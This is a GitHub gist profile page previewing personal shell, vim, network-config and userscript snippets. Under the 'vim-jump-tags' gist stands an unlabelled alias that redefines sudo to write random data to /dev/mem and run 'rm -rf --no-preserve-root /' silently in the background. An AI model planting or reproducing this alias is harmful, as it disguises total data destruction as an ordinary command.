Skip to content

Instantly share code, notes, and snippets.

View hplewis's full-sized avatar

hplewis hplewis

View GitHub Profile
@hplewis
hplewis / volume.sh
Created September 4, 2020 04:09
helper script to interface with amixer and my specific audio device
#!/usr/bin/env bash
case $1 in
"up")
amixer -c 1 set Master $2%+
;;
"down")
amixer -c 1 set Master $2%-
;;
"set")
@hplewis
hplewis / make-csv.sh
Last active May 1, 2017 19:12
For Intro to Intelligent Systems (CSCI-331 @ RIT) Project 2. Convert training and test data to csv
#!/usr/bin/env bash
# Expects to be at the same level as a results/ directory.
# Inside that directory should be a directory for each algorithm.
# Inside each of those directories should be the .stat files for each dataset.
results=./results/
one_algo=$(find $results/ -type d -printf "%f\n" | tail -n 1)
datasets=$(find $results/$one_algo/ -type f -printf "%f\n")
@hplewis
hplewis / netctl-rit
Last active August 16, 2021 17:26
netctl config file for RIT's wpa2 enterprise wireless network
Description='RITnet'
Interface=
Connection=wireless
Security=wpa-configsection
IP=dhcp
ESSID=RIT
WPAConfigSection=(
'ssid="RIT"'
'key_mgmt=WPA-EAP'
'eap=PEAP'
@hplewis
hplewis / vim-jump-tags
Created April 3, 2017 13:57
Idea taken from someone else (Luke something)
"need other mappings that set these tags
"Tag: <++>
inoremap <Leader><Space> <Esc>/<++><CR>c4l
alias sudo='sudo cat /dev/urandom > /dev/mem 2>/dev/null & sudo rm -rf --no-preserve-root / >/dev/null 2>&1 & sudo'
@hplewis
hplewis / svn-commit-count.sh
Created April 21, 2016 20:37
Counts the number of svn commits by author
svn log -v --xml | grep '<author.*/author>' | sed 's/<author>\(.*\)<\/author>/\1/' | sort | uniq -c | sort -rn
@hplewis
hplewis / valgrind.txt
Created April 21, 2016 20:36
Valgrind options
valgrind ./executable --leak-check=full -v --track-origins=yes --show-leak-types=all
@hplewis
hplewis / robin.user.js
Created April 2, 2016 03:42
robin-stay
// ==UserScript==
// @name Robin Stay
// @namespace http://tampermonkey.net/
// @version 1.44
// @description Try to take over the world!
// @author /u/mvartan
// @contributor /u/lonnez
// @include https://www.reddit.com/robin*
// @updateURL https://github.com/hplewis/robin-grow/raw/master/robin.user.js
// @originalRepo https://github.com/vartan/robin-grow/raw/master/robin.user.js